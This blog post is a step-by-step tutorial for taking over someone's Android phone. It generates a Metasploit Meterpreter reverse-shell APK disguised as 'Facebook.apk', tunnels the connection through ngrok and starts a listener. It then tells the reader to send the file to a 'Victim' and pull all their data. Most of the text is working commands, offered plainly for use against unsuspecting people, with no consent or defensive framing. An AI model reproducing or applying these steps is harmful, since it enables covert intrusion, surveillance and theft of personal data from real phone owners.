Hello.
So today i would be writing about how you can actually make use of your Linux environment to actually hack down a Android device. We wont be using any vulnerability of the Android rather will abuse the Permissions required to install a app in Android and take over the entire module.
So lets begin:
[My Blogs instructions are on LINUX environment. You can use VMware or Dual boot to use Linux or other Debian based OS]
- First you need to sign up on NGROK or if you already have created then you need to login to get the AuthTokens and also to download the ngrok bridge file into your LinuX.
- After you have downloaded the file, you need to create a folder name ‘ngrok’ in your ‘bin’ folder and paste it in that folder.
- Now open up your terminal and type following commands
cd bin
cd ngrok - You need to copy your AuthToken which you’ll get from after signing up on ngrok. You can see picture in ‘Step 1’ for the procedure to get yours.
- Your AuthToken might appear like this ” 2Lpi8tCY86c3D1kGt3eWN_2KuEEV7HZNFN2FUt9r55t”. Type the following command to enter the AuthToken in your .xml file in bin.
./ngrok authtoken ‘YOUR_AUTHTOKEN’
- The next would be to assign the port:
./ngrok http 80
- The port number ’80’ can be replaced by any port. So now when you are done with the above command, you’ll have your interface on web settled up.
- As of now – our secured tunnel to our localhost is already maintained. So its time to generate the .apk file which we will be forwarding to our Victim.
- Note down ‘https://e7f7ad8c.ngrok.io -> localhost: 80 ‘{you’ll have different forwarding interface link so copy yours} from your previous Terminal. Open up a new terminal and fire up the command to generate the .apk file for the Victim-Android User.
msfvenom -p android/meterpreter/reverse_tcp LHOST=e7f7ad8c.ngrok.io LPORT=80 R >/root/Desktop/Facebook.apk
After running the above command by carefully managing your link and your any random port number, a ‘Facebook.apk’ will be generated on Desktop. - For the above msfvenom command;
-p –> Implies to payload
android/meterpreter/reverse_tcp –> Lets the nature of the file .i.e. android/windows.
lhost –> The address where the data will be monitored
lport –> Is the Port Number
R >/root/Desktop/Facebook.apk –> Directory and the name of the file you want. - As android now no longer allows application which aren’t signed correctly so you gotta sign it too.
Clone the file from gitHUBgit clone https://github.com/techexpertize/SignApk
Once the SignApk is cloned/downloaded from GitHub move it on your Desktop and move the ‘Facebook.apk‘ file in the same folder.
- Now get in the SignApk folder from command line.
- You need to open ‘Signing.txt’ and copy the entire path and paste it in your command line and then change ‘your-app.apk your-app-signed.apk‘ with your file name.Once change press Enter key. Refer the below picture*
Great the apk file is binded now with the signature.
- Its time to start the Payload Listener in our terminal. Open the terminal and type;
msfconsole
After ‘msfconsole’ the following command need to be executed-
a) use exploit/multi/handler
b) set PAYLOAD android/meterpreter/reverse_tcp
c) set lhost e7f7ad8c.ngrok.io
d) set lport 80 //Your port Number and URL which you got from ‘Step: 7’
e) exploit -j
15. Its time for you to use your skills and forward the .apk file to the Victim Android-User and let it get installed in the device.
16. Once the File is Installed your terminal will automatically connect you with the Android. So what basically happened here is, you gave all permission to the apk file. Enough permissions to take over your android.
Now you own HIM or HER completely
17. Type: ‘-h’ and hit enter to get all the commands you can use to get the data out of phone.
Use the Commands and get all the data from the Victim Android-User directly in Your PC. Read the Descriptions so that you’ll know what command is used for which purpose.
That’s all to it. Any Error or any help or any feedback, you can share in comments or mail me for the same
THANK YOU
Be First to Comment